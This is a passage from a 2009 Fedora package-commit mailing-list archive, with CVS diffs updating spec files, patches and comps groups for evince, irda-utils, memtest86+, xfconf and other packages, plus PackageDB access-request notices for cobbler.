Date: Tue, 20 Oct 2009 16:02:51 +0000 (UTC)
Subject: comps comps-f10.xml.in, 1.282, 1.283 comps-f11.xml.in, 1.313,
	1.314 comps-f12.xml.in, 1.162, 1.163 comps-f13.xml.in, 1.50, 1.51
Message-ID: <20091020160251.6332D11C0081@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10588

Modified Files:
	comps-f10.xml.in comps-f11.xml.in comps-f12.xml.in 
	comps-f13.xml.in 
Log Message:
add lxde-icon-theme


Index: comps-f10.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f10.xml.in,v
retrieving revision 1.282
retrieving revision 1.283
diff -u -p -r1.282 -r1.283
--- comps-f10.xml.in	19 Oct 2009 19:34:59 -0000	1.282
+++ comps-f10.xml.in	20 Oct 2009 16:02:50 -0000	1.283
@@ -3401,6 +3401,7 @@
       <packagereq type="default">slim</packagereq>
       <packagereq type="default">xarchiver</packagereq>
       <packagereq type="default">xscreensaver-base</packagereq>
+      <packagereq type="optional">lxde-icon-theme</packagereq>
       <packagereq type="optional">lxlauncher</packagereq>
       <packagereq type="optional">lxmusic</packagereq>
       <packagereq type="optional">obmenu</packagereq>


Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.313
retrieving revision 1.314
diff -u -p -r1.313 -r1.314
--- comps-f11.xml.in	19 Oct 2009 19:34:59 -0000	1.313
+++ comps-f11.xml.in	20 Oct 2009 16:02:50 -0000	1.314
@@ -3885,6 +3885,7 @@
       <packagereq type="default">slim</packagereq>
       <packagereq type="default">xarchiver</packagereq>
       <packagereq type="default">xscreensaver-base</packagereq>
+      <packagereq type="optional">lxde-icon-theme</packagereq>
       <packagereq type="optional">lxlauncher</packagereq>
       <packagereq type="optional">lxmusic</packagereq>
       <packagereq type="optional">obmenu</packagereq>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.162
retrieving revision 1.163
diff -u -p -r1.162 -r1.163
--- comps-f12.xml.in	19 Oct 2009 20:38:13 -0000	1.162
+++ comps-f12.xml.in	20 Oct 2009 16:02:51 -0000	1.163
@@ -4115,6 +4115,7 @@
       <packagereq type="default">slim</packagereq>
       <packagereq type="default">xarchiver</packagereq>
       <packagereq type="default">xscreensaver-base</packagereq>
+      <packagereq type="optional">lxde-icon-theme</packagereq>
       <packagereq type="optional">lxlauncher</packagereq>
       <packagereq type="optional">lxmusic</packagereq>
       <packagereq type="optional">obmenu</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- comps-f13.xml.in	20 Oct 2009 15:52:19 -0000	1.50
+++ comps-f13.xml.in	20 Oct 2009 16:02:51 -0000	1.51
@@ -4097,6 +4097,7 @@
       <packagereq type="default">slim</packagereq>
       <packagereq type="default">xarchiver</packagereq>
       <packagereq type="default">xscreensaver-base</packagereq>
+      <packagereq type="optional">lxde-icon-theme</packagereq>
       <packagereq type="optional">lxlauncher</packagereq>
       <packagereq type="optional">lxmusic</packagereq>
       <packagereq type="optional">obmenu</packagereq>



From mkasik at fedoraproject.org  Tue Oct 20 16:04:33 2009
From: mkasik at fedoraproject.org (=?utf-8?b?TWFyZWsgS2HFocOtaw==?=)
Date: Tue, 20 Oct 2009 16:04:33 +0000 (UTC)
Subject: rpms/evince/F-12 evince-pdf-print-revert.patch, NONE, 1.1 .cvsignore,
	1.67, 1.68 evince.spec, 1.169, 1.170 sources, 1.66, 1.67
Message-ID: <20091020160433.D816711C0081@cvs1.fedora.phx.redhat.com>

Author: mkasik

Update of /cvs/pkgs/rpms/evince/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10873

Modified Files:
	.cvsignore evince.spec sources 
Added Files:
	evince-pdf-print-revert.patch 
Log Message:
* Tue Oct 20 2009 Marek Kasik <mkasik at redhat.com> - 2.28.1-1
- Update to 2.28.1
- Add evince-pdf-print-revert.patch (reverts upstream's change
- of print which revealed the bug #517310)


evince-pdf-print-revert.patch:
 ev-print-operation.c |    9 ++-------
 1 file changed, 2 insertions(+), 7 deletions(-)

--- NEW FILE evince-pdf-print-revert.patch ---
--- shell/ev-print-operation.c	2009-10-19 19:28:17.000000000 +0200
+++ shell/ev-print-operation.c	2009-10-20 11:50:11.000000000 +0200
@@ -1253,13 +1253,8 @@ ev_print_operation_export_print_dialog_r
 
 	get_first_and_last_page (export, &first_page, &last_page);
 
-	if (file_format) {
-		export->fc.format = g_ascii_strcasecmp (file_format, "pdf") == 0 ?
-			EV_FILE_FORMAT_PDF : EV_FILE_FORMAT_PS;
-	} else {
-		export->fc.format = gtk_printer_accepts_pdf (printer) ?
-			EV_FILE_FORMAT_PDF : EV_FILE_FORMAT_PS;
-	}
+	export->fc.format = file_format && g_ascii_strcasecmp (file_format, "pdf") == 0 ?
+		EV_FILE_FORMAT_PDF : EV_FILE_FORMAT_PS;
 	export->fc.filename = export->temp_file;
 	export->fc.first_page = MIN (first_page, last_page);
 	export->fc.last_page = MAX (first_page, last_page);


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/evince/F-12/.cvsignore,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- .cvsignore	22 Sep 2009 03:22:12 -0000	1.67
+++ .cvsignore	20 Oct 2009 16:04:33 -0000	1.68
@@ -1 +1 @@
-evince-2.28.0.tar.bz2
+evince-2.28.1.tar.bz2


Index: evince.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evince/F-12/evince.spec,v
retrieving revision 1.169
retrieving revision 1.170
diff -u -p -r1.169 -r1.170
--- evince.spec	22 Sep 2009 03:22:12 -0000	1.169
+++ evince.spec	20 Oct 2009 16:04:33 -0000	1.170
@@ -1,11 +1,11 @@
-%define poppler_version 0.10.1
-%define glib2_version 2.15.0
-%define gtk2_version 2.9.4
-%define dbus_version 0.60
+%define poppler_version 0.11.0
+%define glib2_version 2.18.0
+%define gtk2_version 2.14.0
+%define dbus_version 0.70
 %define theme_version 2.17.1
 
 Name:		evince
-Version:	2.28.0
+Version:	2.28.1
 Release:	1%{?dist}
 Summary:	Document viewer
 
@@ -13,6 +13,7 @@ License:	GPLv2+ and GFDL
 Group:		Applications/Publishing
 URL:		http://projects.gnome.org/evince/
 Source0:	http://download.gnome.org/sources/%{name}/2.28/%{name}-%{version}.tar.bz2
+Patch0:		evince-pdf-print-revert.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=455759
 # Patch1:		duplex-copies.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -102,6 +103,7 @@ This package contains a backend to let e
 
 %prep
 %setup -q
+%patch0 -p0 -b .pdf-print-revert
 # %patch1 -p0 -b .duplex-copies
 
 %build
@@ -257,6 +259,11 @@ fi
 %{_libdir}/evince/1/backends/djvudocument.evince-backend
 
 %changelog
+* Tue Oct 20 2009 Marek Kasik <mkasik at redhat.com> - 2.28.1-1
+- Update to 2.28.1
+- Add evince-pdf-print-revert.patch (reverts upstream's change
+- of print which revealed the bug #517310)
+
 * Mon Sep 21 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/evince/F-12/sources,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- sources	22 Sep 2009 03:22:12 -0000	1.66
+++ sources	20 Oct 2009 16:04:33 -0000	1.67
@@ -1 +1 @@
-66548bf1467f92924a7230869139adb5  evince-2.28.0.tar.bz2
+3f0bf750825f5455d307ec21a27d1f3e  evince-2.28.1.tar.bz2



From pkgdb at fedoraproject.org  Tue Oct 20 16:16:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:16:28 +0000
Subject: [pkgdb] cobbler: shenson has requested watchbugzilla
Message-ID: <20091020161628.788DB10F850@bastion2.fedora.phx.redhat.com>

shenson has requested the watchbugzilla acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:16:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:16:33 +0000
Subject: [pkgdb] cobbler: shenson has requested watchcommits
Message-ID: <20091020161633.B920910F86E@bastion2.fedora.phx.redhat.com>

shenson has requested the watchcommits acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:16:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:16:35 +0000
Subject: [pkgdb] cobbler: shenson has requested commit
Message-ID: <20091020161635.EAB0310F880@bastion2.fedora.phx.redhat.com>

shenson has requested the commit acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:16:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:16:37 +0000
Subject: [pkgdb] cobbler: shenson has requested approveacls
Message-ID: <20091020161637.BC74510F892@bastion2.fedora.phx.redhat.com>

shenson has requested the approveacls acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:16:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:16:42 +0000
Subject: [pkgdb] cobbler: shenson has requested watchbugzilla
Message-ID: <20091020161642.835B910F87F@bastion2.fedora.phx.redhat.com>

shenson has requested the watchbugzilla acl on cobbler (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:17:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:17:00 +0000
Subject: [pkgdb] cobbler: shenson has given up watchbugzilla
Message-ID: <20091020161700.3897C10F86E@bastion2.fedora.phx.redhat.com>

shenson has given up the watchbugzilla acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:17:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:17:01 +0000
Subject: [pkgdb] cobbler: shenson has given up watchcommits
Message-ID: <20091020161701.CACF510F88F@bastion2.fedora.phx.redhat.com>

shenson has given up the watchcommits acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:17:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:17:03 +0000
Subject: [pkgdb] cobbler: shenson has given up commit
Message-ID: <20091020161703.2CD8A10F8AC@bastion2.fedora.phx.redhat.com>

shenson has given up the commit acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:17:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:17:05 +0000
Subject: [pkgdb] cobbler: shenson has given up approveacls
Message-ID: <20091020161705.0395910F8B3@bastion2.fedora.phx.redhat.com>

shenson has given up the approveacls acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:17:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:17:07 +0000
Subject: [pkgdb] cobbler: shenson has given up watchbugzilla
Message-ID: <20091020161707.6CAAC10F80D@bastion2.fedora.phx.redhat.com>

shenson has given up the watchbugzilla acl on cobbler (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:17:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:17:09 +0000
Subject: [pkgdb] cobbler: shenson has requested watchcommits
Message-ID: <20091020161709.15A8210F8B6@bastion2.fedora.phx.redhat.com>

shenson has requested the watchcommits acl on cobbler (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:17:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:17:10 +0000
Subject: [pkgdb] cobbler: shenson has requested commit
Message-ID: <20091020161710.8535B10F8B7@bastion2.fedora.phx.redhat.com>

shenson has requested the commit acl on cobbler (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:17:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:17:12 +0000
Subject: [pkgdb] cobbler: shenson has requested approveacls
Message-ID: <20091020161712.CB8DC10F895@bastion2.fedora.phx.redhat.com>

shenson has requested the approveacls acl on cobbler (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:17:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:17:16 +0000
Subject: [pkgdb] cobbler: shenson has requested watchbugzilla
Message-ID: <20091020161716.CC15010F892@bastion2.fedora.phx.redhat.com>

shenson has requested the watchbugzilla acl on cobbler (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:17:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:17:18 +0000
Subject: [pkgdb] cobbler: shenson has requested watchcommits
Message-ID: <20091020161718.4BFF910F894@bastion2.fedora.phx.redhat.com>

shenson has requested the watchcommits acl on cobbler (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:17:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:17:20 +0000
Subject: [pkgdb] cobbler: shenson has requested commit
Message-ID: <20091020161720.26E0C10F8AD@bastion2.fedora.phx.redhat.com>

shenson has requested the commit acl on cobbler (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:17:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:17:21 +0000
Subject: [pkgdb] cobbler: shenson has requested approveacls
Message-ID: <20091020161721.D008210F87F@bastion2.fedora.phx.redhat.com>

shenson has requested the approveacls acl on cobbler (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 16:17:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 16:17:36 +0000
Subject: [pkgdb] cobbler: shenson has requested watchbugzilla
Message-ID: <20091020161736.7D05910F85F@bastion2.fedora.phx.redhat.com>

shenson has requested the watchbugzilla acl on cobbler (Fedora 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From hadess at fedoraproject.org  Tue Oct 20 16:23:38 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 20 Oct 2009 16:23:38 +0000 (UTC)
Subject: rpms/gnome-user-share/F-11 gnome-user-share.spec,1.55,1.56
Message-ID: <20091020162338.993EF11C0081@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-user-share/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14041

Modified Files:
	gnome-user-share.spec 
Log Message:
fix filelist


Index: gnome-user-share.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-user-share/F-11/gnome-user-share.spec,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- gnome-user-share.spec	20 Oct 2009 15:54:45 -0000	1.55
+++ gnome-user-share.spec	20 Oct 2009 16:23:38 -0000	1.56
@@ -131,6 +131,7 @@ fi
 %{_sysconfdir}/xdg/autostart/gnome-user-share.desktop
 %{_sysconfdir}/gconf/schemas/*
 %{_datadir}/icons/hicolor/*/apps/gnome-obex-server.png
+%{_libdir}/nautilus/extensions-2.0/*.so
 
 %changelog
 * Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.0-1



From orion at fedoraproject.org  Tue Oct 20 16:27:04 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Tue, 20 Oct 2009 16:27:04 +0000 (UTC)
Subject: rpms/irda-utils/F-12 irda-utils-0.9.18-root.patch, NONE,
	1.1 irda-utils.spec, 1.36, 1.37
Message-ID: <20091020162704.F0D6611C0081@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/irda-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15051

Modified Files:
	irda-utils.spec 
Added Files:
	irda-utils-0.9.18-root.patch 
Log Message:
* Tue Oct 20 2009 Orion Poplawski <orion at cora.nwra.com> - 0.9.18-10
- Add patch to fix installing of initscript into buildroot


irda-utils-0.9.18-root.patch:
 install-etc |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE irda-utils-0.9.18-root.patch ---
--- irda-utils-0.9.18/etc/install-etc.root	2006-07-11 00:16:06.000000000 -0600
+++ irda-utils-0.9.18/etc/install-etc	2009-10-20 10:11:39.691877856 -0600
@@ -1,10 +1,10 @@
 #!/bin/sh
 
 # Only install on SYSV for now
-if [ -d /etc/sysconfig/ ]; then
+if [ -d $ROOT/etc/sysconfig/ ]; then
     install -D irda.sysconfig $ROOT/etc/sysconfig/irda
     install -D ifcfg-irlan0 $ROOT/etc/sysconfig/network-scripts/ifcfg-irlan0
 fi
-if [ -d /etc/rc.d/init.d ]; then
+if [ -d $ROOT/etc/rc.d/init.d ]; then
     install -D irda.rc $ROOT/etc/rc.d/init.d/irda
 fi


Index: irda-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/irda-utils/F-12/irda-utils.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- irda-utils.spec	10 Aug 2009 08:47:58 -0000	1.36
+++ irda-utils.spec	20 Oct 2009 16:27:03 -0000	1.37
@@ -1,7 +1,7 @@
 Summary:         Utilities for infrared communication between devices
 Name:            irda-utils
 Version:         0.9.18
-Release:         9%{?dist}
+Release:         10%{?dist}
 Url:             http://irda.sourceforge.net/
 License:         GPLv2+
 Group:           Applications/System
@@ -22,6 +22,7 @@ Patch7: irda-utils-0.9.16-io.patch
 Patch8: irda-utils-0.9.17-makefile.patch
 Patch9: irda-utils-0.9.17-smcdisable.patch
 Patch10: irda-utils-0.9.17-initscript.patch
+Patch11: irda-utils-0.9.18-root.patch
 
 %description
 IrDA(TM) (Infrared Data Association) is an industry standard for
@@ -52,6 +53,7 @@ actually implemented outside the kernel.
 %patch8 -p1
 %patch9 -p1
 %patch10 -p1
+%patch11 -p1
 
 %build
 make all RPM_OPT_FLAGS="$RPM_OPT_FLAGS" ROOT="$RPM_BUILD_ROOT" \
@@ -60,7 +62,7 @@ make all RPM_OPT_FLAGS="$RPM_OPT_FLAGS" 
 %install
 rm -rf $RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT%{_sbindir} $RPM_BUILD_ROOT/%{_initddir}
-mkdir -p $RPM_BUILD_ROOT%{_bindir}
+mkdir -p $RPM_BUILD_ROOT%{_bindir} $RPM_BUILD_ROOT/%{_sysconfdir}/sysconfig
 
 make install  ROOT="$RPM_BUILD_ROOT" MANDIR="$RPM_BUILD_ROOT/%{_mandir}"
 chmod -x $RPM_BUILD_ROOT/%{_sysconfdir}/sysconfig/irda
@@ -96,6 +98,9 @@ fi
 %doc tekram/README.tekram
 
 %changelog
+* Tue Oct 20 2009 Orion Poplawski <orion at cora.nwra.com> - 0.9.18-10
+- Add patch to fix installing of initscript into buildroot
+
 * Mon Aug 10 2009 Ville Skytt? <ville.skytta at iki.fi> - 0.9.18-9
 - Convert specfile to UTF-8.
 



From orion at fedoraproject.org  Tue Oct 20 16:28:47 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Tue, 20 Oct 2009 16:28:47 +0000 (UTC)
Subject: rpms/irda-utils/devel irda-utils-0.9.18-root.patch, NONE,
	1.1 irda-utils.spec, 1.36, 1.37
Message-ID: <20091020162847.C307011C0081@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/irda-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15618

Modified Files:
	irda-utils.spec 
Added Files:
	irda-utils-0.9.18-root.patch 
Log Message:
* Tue Oct 20 2009 Orion Poplawski <orion at cora.nwra.com> - 0.9.18-10
- Add patch to fix installing of initscript into buildroot


irda-utils-0.9.18-root.patch:
 install-etc |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE irda-utils-0.9.18-root.patch ---
--- irda-utils-0.9.18/etc/install-etc.root	2006-07-11 00:16:06.000000000 -0600
+++ irda-utils-0.9.18/etc/install-etc	2009-10-20 10:11:39.691877856 -0600
@@ -1,10 +1,10 @@
 #!/bin/sh
 
 # Only install on SYSV for now
-if [ -d /etc/sysconfig/ ]; then
+if [ -d $ROOT/etc/sysconfig/ ]; then
     install -D irda.sysconfig $ROOT/etc/sysconfig/irda
     install -D ifcfg-irlan0 $ROOT/etc/sysconfig/network-scripts/ifcfg-irlan0
 fi
-if [ -d /etc/rc.d/init.d ]; then
+if [ -d $ROOT/etc/rc.d/init.d ]; then
     install -D irda.rc $ROOT/etc/rc.d/init.d/irda
 fi


Index: irda-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/irda-utils/devel/irda-utils.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- irda-utils.spec	10 Aug 2009 08:47:58 -0000	1.36
+++ irda-utils.spec	20 Oct 2009 16:28:47 -0000	1.37
@@ -1,7 +1,7 @@
 Summary:         Utilities for infrared communication between devices
 Name:            irda-utils
 Version:         0.9.18
-Release:         9%{?dist}
+Release:         10%{?dist}
 Url:             http://irda.sourceforge.net/
 License:         GPLv2+
 Group:           Applications/System
@@ -22,6 +22,7 @@ Patch7: irda-utils-0.9.16-io.patch
 Patch8: irda-utils-0.9.17-makefile.patch
 Patch9: irda-utils-0.9.17-smcdisable.patch
 Patch10: irda-utils-0.9.17-initscript.patch
+Patch11: irda-utils-0.9.18-root.patch
 
 %description
 IrDA(TM) (Infrared Data Association) is an industry standard for
@@ -52,6 +53,7 @@ actually implemented outside the kernel.
 %patch8 -p1
 %patch9 -p1
 %patch10 -p1
+%patch11 -p1
 
 %build
 make all RPM_OPT_FLAGS="$RPM_OPT_FLAGS" ROOT="$RPM_BUILD_ROOT" \
@@ -60,7 +62,7 @@ make all RPM_OPT_FLAGS="$RPM_OPT_FLAGS" 
 %install
 rm -rf $RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT%{_sbindir} $RPM_BUILD_ROOT/%{_initddir}
-mkdir -p $RPM_BUILD_ROOT%{_bindir}
+mkdir -p $RPM_BUILD_ROOT%{_bindir} $RPM_BUILD_ROOT/%{_sysconfdir}/sysconfig
 
 make install  ROOT="$RPM_BUILD_ROOT" MANDIR="$RPM_BUILD_ROOT/%{_mandir}"
 chmod -x $RPM_BUILD_ROOT/%{_sysconfdir}/sysconfig/irda
@@ -96,6 +98,9 @@ fi
 %doc tekram/README.tekram
 
 %changelog
+* Tue Oct 20 2009 Orion Poplawski <orion at cora.nwra.com> - 0.9.18-10
+- Add patch to fix installing of initscript into buildroot
+
 * Mon Aug 10 2009 Ville Skytt? <ville.skytta at iki.fi> - 0.9.18-9
 - Convert specfile to UTF-8.
 



From jwilson at fedoraproject.org  Tue Oct 20 16:31:57 2009
From: jwilson at fedoraproject.org (Jarod Wilson)
Date: Tue, 20 Oct 2009 16:31:57 +0000 (UTC)
Subject: rpms/memtest86+/F-11 memtest-setup, 1.5, 1.6 memtest86+.spec, 1.46, 
	1.47 sources, 1.21, 1.22
Message-ID: <20091020163157.124EB11C0081@cvs1.fedora.phx.redhat.com>

Author: jwilson

Update of /cvs/pkgs/rpms/memtest86+/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16038

Modified Files:
	memtest-setup memtest86+.spec sources 
Log Message:
* Tue Oct 13 2009 Jarod Wilson <jarod at redhat.com> - 4.00-2
- Fix memtest-setup on systems without a separate /boot
  filesystem (#528651)
- Update to new upstream release, v4.00
- Build with gcc4 instead of gcc34 (#442285)



Index: memtest-setup
===================================================================
RCS file: /cvs/pkgs/rpms/memtest86+/F-11/memtest-setup,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- memtest-setup	24 Apr 2009 17:36:16 -0000	1.5
+++ memtest-setup	20 Oct 2009 16:31:56 -0000	1.6
@@ -32,7 +32,7 @@ if [ "$RETVAL" != "0" ]; then
     echo "ERROR: grubby failed to configure your bootloader for $MTPATH."
     exit $RETVAL
 else
-    sed -i -e"s,kernel /$ENAME,kernel --type=netbsd /$ENAME," /boot/grub/grub.conf
+    sed -i -e"s,kernel \(/boot\)\?/$ENAME,kernel --type=netbsd \1/$ENAME," /boot/grub/grub.conf
     sed -i -e"s,/$ENAME-$MTVERSION.*,/$ENAME-$MTVERSION," /boot/grub/grub.conf
 fi
 


Index: memtest86+.spec
===================================================================
RCS file: /cvs/pkgs/rpms/memtest86+/F-11/memtest86+.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- memtest86+.spec	24 Apr 2009 19:15:28 -0000	1.46
+++ memtest86+.spec	20 Oct 2009 16:31:56 -0000	1.47
@@ -6,8 +6,8 @@
 %define debug_package %{nil}
 
 Name:     memtest86+
-Version:  2.11
-Release:  9%{?dist}
+Version:  4.00
+Release:  2%{?dist}
 License:  GPLv2
 Summary:  Stand-alone memory tester for x86 and x86-64 computers
 Group:    System Environment/Base
@@ -45,7 +45,7 @@ sed -i -e's,0x10000,0x100000,' memtest.l
 # Regular build flags not wanted for this binary
 # Note: i486 minimum runtime arch
 # It makes no sense to use smp flags here.
-make CC=gcc34
+make
 
 %install
 rm -rf %{buildroot}
@@ -84,6 +84,20 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Tue Oct 13 2009 Jarod Wilson <jarod at redhat.com> - 4.00-2
+- Fix memtest-setup on systems without a separate /boot
+  filesystem (#528651)
+
+* Tue Sep 29 2009 Jarod Wilson <jarod at redhat.com> - 4.00-1
+- Update to new upstream release, v4.00
+- Drop gcc4.2+ patch, merged upstream
+
+* Mon Aug 17 2009 Jarod Wilson <jarod at redhat.com> - 2.11-11
+- Fix runtime operation when built with gcc4.2+ (#442285)
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.11-10
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Fri Apr 24 2009 Warren Togami <wtogami at redhat.com> - 2.11-9
 - Fix uninstall to remove stanza from grub.conf
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/memtest86+/F-11/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	24 Apr 2009 17:36:16 -0000	1.21
+++ sources	20 Oct 2009 16:31:56 -0000	1.22
@@ -1 +1 @@
-e457774139c0bfef899359df91f49b3e  memtest86+-2.11.tar.gz
+898cfc5ff7920a8c396ebe898ac2eaa5  memtest86+-4.00.tar.gz



From orion at fedoraproject.org  Tue Oct 20 16:45:17 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Tue, 20 Oct 2009 16:45:17 +0000 (UTC)
Subject: rpms/xfconf/F-12 xfconf.spec,1.13,1.14
Message-ID: <20091020164517.72AF911C0081@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/xfconf/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18422

Modified Files:
	xfconf.spec 
Log Message:
* Tue Oct 20 2009 Orion Poplawski <orion at cora.nwra.com> - 4.6.1-4
- Add BR perl(ExtUtils::MakeMaker) and perl(Glib::MakeHelper)



Index: xfconf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xfconf/F-12/xfconf.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- xfconf.spec	27 Jul 2009 07:58:56 -0000	1.13
+++ xfconf.spec	20 Oct 2009 16:45:17 -0000	1.14
@@ -1,6 +1,6 @@
 Name:           xfconf
 Version:        4.6.1
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Hierarchical configuration system for Xfce
 
 Group:          System Environment/Base
@@ -14,6 +14,7 @@ BuildRequires:  libxfce4util-devel = %{v
 BuildRequires:  dbus-devel
 BuildRequires:  dbus-glib-devel
 BuildRequires:  perl(ExtUtils::Depends) perl(ExtUtils::PkgConfig) perl(Glib)
+BuildRequires:  perl(ExtUtils::MakeMaker) perl(Glib::MakeHelper)
 BuildRequires:  gettext
 Requires:       dbus-x11
 
@@ -112,6 +113,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*.3*
 
 %changelog
